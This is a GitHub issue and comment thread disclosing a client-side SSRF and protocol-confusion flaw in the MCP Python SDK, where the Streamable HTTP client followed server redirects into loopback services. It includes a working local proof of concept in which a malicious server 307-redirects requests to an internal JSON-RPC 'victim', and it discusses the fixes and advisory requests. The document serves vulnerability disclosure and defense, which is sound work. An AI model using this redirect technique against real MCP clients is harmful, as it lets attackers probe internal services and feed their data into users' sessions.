Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged)

Summary

The MCP Python SDK's official Streamable HTTP client will follow any 3xx redirect the server returns, with no validation of where it lands. A malicious or compromised MCP server (or anything that can influence its 3xx responses) can therefore push the client into internal / loopback services (e.g. 127.0.0.1, Docker, kubernetes service proxies, cloud metadata endpoints) and, when that internal service happens to speak JSON-RPC (another local MCP server, an agent endpoint, a registry), the client accepts the internal service's reply as the MCP server's own — its identity and data leak straight into the caller/LLM session. This is the client-side mirror of the server-side DNS-rebinding protection that already exists in this repo (transport_security.py), and it is currently the only direction that is unprotected.

Impact

SSRF / internal probing: every request the client sends (SSE GET, initialize, tool calls) can be bounced into internal-only endpoints. HTTP semantics are honored, so 302/303 (POST→GET, body dropped) and 307/308 (method+body preserved) are both affected.
Protocol confusion / data leak: when the redirect target answers JSON-RPC (the realistic case is another MCP server on localhost — e.g. a second agent running locally), that reply is ingested as the server's reply to the client.
The leaked content travels into the LLM/data plane — exactly what MCP clients do with server messages.

Severity assessment: LOW–MEDIUM. It requires attacker influence over the connected server's HTTP responses, but no auth and no user interaction.

Root cause

src/mcp/shared/_httpx_utils.py → create_mcp_http_client():

kwargs: dict[str, Any] = {"follow_redirects": True}   # line 79 — unconditional

The Streamable HTTP transport builds its httpx2 client from this factory (imported at src/mcp/client/streamable_http.py:43, client instantiated in the transport) and issues all POST/GET through it. There is no redirect guard anywhere: no re-validation of the final URL's host, no is_loopback/is_link_local check on the redirect target. Grep for follow_redirects / redirect / host validation across src/ (excluding OAuth redirect_uri handling) confirms nothing constrains redirect targets today.

Note: this is client-side and distinct from CVE-2025-66414/66416, which covered server-side DNS-rebinding protection (missing Host-header validation on localhost-bound servers). That class is already fixed here (transport_security.py, auto-enabled for localhost). The analogous client-side direction is not.

Prior attempt & current state

Issue Add SSRF protection for HTTP client redirects #2106 (“Add SSRF protection for HTTP client redirects”) was closed as completed on 2026-04-05.
The linked fix, PR fix: add SSRF redirect protection to httpx client factory #2180 (“fix: add SSRF redirect protection to httpx client factory”, opened 2026-02-28), was closed on 2026-08-10 without being merged (merged_at: null).
main today (checked 2026-08-21) still contains only follow_redirects = True with no guard. The PyPI release (verified on the installed 2.x wheel) is identical.

So the finding is real on both main and the latest release, despite the issue being marked fixed.

Reproducer (self-contained)

Runs against the released SDK (identical code path on main). No test framework, only stdlib + mcp:

import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

INIT_RESULT = {"protocolVersion": "2025-06-18", "capabilities": {},
               "serverInfo": {"name": "internal-secret-service", "version": "9.9"}}
def read_body(self):
    n = int(self.headers.get("Content-Length", 0)); return self.rfile.read(n) if n else b""

class VictimHandler(BaseHTTPRequestHandler):          # internal/loopback service
    protocol_version = "HTTP/1.1"
    def log_message(self, *a): pass
    def _route(self):
        raw = read_body(self)
        try: msg = json.loads(raw) if raw else {}
        except Exception: msg = {}
        rid, method = msg.get("id", 1), msg.get("method")
        if (method or "").endswith("discover"):
            payload = {"jsonrpc": "2.0", "id": rid,
                       "result": {"supportedVersions": ["2025-06-18"], "capabilities": {}}}
        elif method == "initialize":
            payload = {"jsonrpc": "2.0", "id": rid, "result": INIT_RESULT}
        else:
            payload = {"jsonrpc": "2.0", "id": rid, "result": {}}
        body = json.dumps(payload).encode()
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body))); self.send_header("Connection", "close")
        self.end_headers(); self.wfile.write(body)
    do_POST = do_GET = _route

class MCPServerHandler(BaseHTTPRequestHandler):        # the "MCP server" the user connects to
    protocol_version = "HTTP/1.1"; victim = None
    def log_message(self, *a): pass
    def do_GET(self):                                  # SSE stream (not the point here)
        b = b": keepalive\n\n"
        self.send_response(200); self.send_header("Content-Type", "text/event-stream")
        self.send_header("Content-Length", str(len(b))); self.send_header("Connection", "close")
        self.end_headers(); self.wfile.write(b)
    def do_POST(self):                                 # redirect every request to the internal victim
        self.send_response(307); self.send_header("Location", self.victim)
        self.send_header("Content-Length", "0"); self.send_header("Connection", "close")
        self.end_headers()

def serve(h):
    s = ThreadingHTTPServer(("127.0.0.1", 0), h)
    threading.Thread(target=s.serve_forever, daemon=True).start(); return s

async def main():
    sv, sm = serve(VictimHandler), serve(MCPServerHandler)
    MCPServerHandler.victim = f"http://127.0.0.1:{sv.server_address[1]}"
    murl = f"http://127.0.0.1:{sm.server_address[1]}/"
    from mcp import Client
    from mcp.client.streamable_http import streamable_http_client
    async with Client(streamable_http_client(murl)) as c:
        print("client believes its MCP server is:", c.server_info)   # -> internal-secret-service

asyncio.run(main())

Expected output

client believes its MCP server is: name='internal-secret-service' version='9.9' ...

The client thinks it is talking to the server at murl, but every request was bounced (307) to the loopback victim, and the victim's JSON-RPC reply was accepted as the server's.

Full standalone file: https://gist.github.com/trickyfalcon/0db331a6e4c69b1aaf14bd79c51fdeb8 (also under poc-pysdk/poc_redirect.py in the repo attached below).

Suggested fix (for discussion)

Reuse the existing server-side primitives — transport_security.is_loopback(), is_link_local(), and the configurable allowed-hosts middleware already shipped in this repo — and apply the symmetric protection to the client: validate the final URL host of any followed redirect (reject internal targets unless they are the intended server), or make follow_redirects opt-in/configurable with an allowed_redirect_networks-style option. PR #2180's intent was right; it just never landed.

Affected

main and all released versions to date (the follow_redirects = True line is unchanged since at least the 1.x/2.x lineage). Confirm fix, then I'm happy to help with a regression test (e.g. client-side host-validation unit test) and coordinate CVE assignment if appropriate.

Credit

Mo (@trickyfalcon, https://trickyfalcon.com)

I'd like to work on this. The fix is well-scoped: the client side is the only unprotected direction (server-side DNS-rebinding protection already lives in transport_security.py), and the regression #2180 never landed.

Proposed approach (reusing the repo's existing security primitives, per the "Suggested fix" in the report):

Make the Streamable HTTP GET/POST client not follow redirects into arbitrary hosts. Validate each 3xx redirect target (its final host) with the existing is_loopback()/is_link_local() checks, and allow cross-versioning redirects only to hosts that are either the intended server or explicitly permitted.
Keep behavior backward-compatible by default while closing the internal-probing / protocol-confusion hole, and add a client-side regression test alongside.

Could a maintainer assign me so the PR gate (require-linked-issue) keeps the pull request open? I'll open the PR once assigned.

Confirmed the finding on both main and the released wheel — create_mcp_http_client sets follow_redirects=True with no redirect-target validation anywhere, so a 307/308 bounce can drive the client's JSON-RPC traffic onto a loopback/local service and the client ingests that service's reply as the MCP server's own.

I implemented a client-side fix in the factory (mirroring the existing server-side DNS-rebinding protection in transport_security.py): a RedirectPolicy (NONE/SAME_HOST/SAFE/ALL, default SAFE) plus an httpx request event hook that records the caller-chosen origin and blocks redirect hops that land on non-global addresses (loopback, link-local, private, multicast, reserved, unspecified — e.g. 127.0.0.1, 10/8, 172.16/12, 192.168/16, 169.254.169.254, fc00::/7, fe80::/10). Legitimate public redirects still resolve; ALL preserves legacy behavior explicitly.

Verification:

Live integration tests: a local server that 307-bounces to a loopback victim is refused with a clear ConnectError under the default policy, while ALL follows (proving the vulnerable path) and a same-host redirect still works.
22 new tests pass; existing tests/client/test_streamable_http.py (28) pass with no regressions; ruff check + ruff format --check clean.

Draft in PR #3423. Happy to adjust the default policy or scope if maintainers prefer a stricter default.

You clearly track this repo closely if you caught that the earlier fix (#2180) never actually landed, do you keep a personal changelog/watch list for this SDK, or did you just happen to remember the older issue? Curious how you'd have found this if you weren't already familiar with the history.

@Ethanz11-creat

Thanks for the kind words! This came out of a systematic cross-SDK audit I ran of the MCP client redirect class (mapping each official SDK's transport redirect behavior, e.g. https://github.com/trickyfalcon/cve-hunt). While deduping against repo history I noticed #2180's fix PR was closed without ever merging while the code still had no redirect-target validation — that gap made it worth re-proving end-to-end (live PoC: server 307 → loopback victim, linked in the report). No changelog magic, just a public tracker of the class.

Also +1 to @Ethanz11-creat's PR #3423 — the client-side redirect guard with the SAFE default is well-scoped; it'd be great to see a maintainer pick it up. Happy to help review/test if needed.

Thanks for the clear report and PoC — client-side redirect → loopback/private with JSON-RPC protocol confusion is a real class, and it’s useful that #2180 never actually landed.

I re-checked current main / latest PyPI (mcp==2.2.0, also v1.30.0): the claim as filed is no longer reproducible. create_mcp_http_client no longer sets follow_redirects=True. Streamable HTTP goes through stream_within_origin (PR #3397, merged 2026-09-04), which sends with follow_redirects=False and only follows redirects that stay on the request’s origin (same scheme/host/port, plus http→https same-host default ports). Cross-port 127.0.0.1 is outside origin.

Re-ran the issue PoC shape against 2.2.0: the transport logs Redirect to http://127.0.0.1:<victim> not followed… and the client does not ingest the victim’s serverInfo (internal-secret-service). Existing unit tests in tests/shared/test_httpx_utils.py already lock outside-origin / method-changing / https-downgrade behavior.

If a maintainer is open to an outside PR, I’d like to add a small end-to-end regression (two loopback servers + Client assert unfollowed / no victim initialize) so we don’t regress to unvalidated follow-all — not a second RedirectPolicy on top of stream_within_origin. Please assign me to #3358 if that scoped follow-up is welcome; happy to match whatever shape you prefer.

@tiagovilasboas

Thanks @tiagovilasboas for the thorough re-check — and good to see this land properly: #3397 ("Follow redirects only within the MCP endpoint's origin", merged 2026-09-04) replacing the unconditional follow_redirects=True in _httpx_utils.py closes the client-side hole for the shipped transports. Worth noting the affected surface shipped with the unfixed behavior for a while — the earlier #2180 fix PR closed without ever merging — so releases before 2.2.0 / v1.30.0 carry it.

Would it be possible to get a security advisory (GHSA) / CVE for the affected versions, consistent with how the server-side DNS-rebinding class was handled? The end-to-end repro (server 307 → loopback victim, victim's JSON-RPC serverInfo ingested as the server's own) is in the report above with the live PoC (https://gist.github.com/trickyfalcon/0db331a6e4c69b1aaf14bd79c51fdeb8) — happy to pre-verify any regression test against it.

Happy to be credited in the advisory/release notes as: Mo (@trickyfalcon, @url:https://trickyfalcon.com)

@trickyfalcon

Huge thanks for shipping this end to end — security advisory GHSA-5h93-6whr-6q8j (published 2026-10-02, patched in 1.30.0 / 2.2.0) now documents the client-side redirect behavior reported here: transports (and the OAuth providers' own requests) following redirects to another origin, sending custom headers like X-API-Key and re-sent 307/308 bodies at the target, fixed by the origin-only policy from #3397.

Two asks on the advisory:

It has no CVE ID yet — could one be assigned so the affected 1.8.0–1.29.x / 2.0.x–2.1.x history is trackable in NVD?
A reporter acknowledgment for the original public report (this issue, with the end-to-end PoC: server 307 → loopback victim, victim's serverInfo ingested as the server's own) would be greatly appreciated.

Happy to be credited in the advisory/release notes as: Mo (@trickyfalcon, https://trickyfalcon.com)

Navigation Menu

Repository navigation

Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged) #3358

Summary

Impact

Root cause

Prior attempt & current state

Reproducer (self-contained)

Expected output

Suggested fix (for discussion)

Affected

Credit

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Client SSRF / protocol confusion: streamable HTTP transport follows server 3xx into internal+loopback services (follow_redirects=True, no host validation; #2106 closed but fix #2180 never merged) #3358

Description

Summary

Impact

Root cause

Prior attempt & current state

Reproducer (self-contained)

Expected output

Suggested fix (for discussion)

Affected

Credit

Activity

Ethanz11-creat commented on Aug 31, 2026

Ethanz11-creat commented on Aug 31, 2026

anythingoah commented on Sep 3, 2026

trickyfalcon commented on Sep 7, 2026

tiagovilasboas commented on Sep 10, 2026

trickyfalcon commented on Sep 11, 2026

trickyfalcon commented on Oct 3, 2026

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions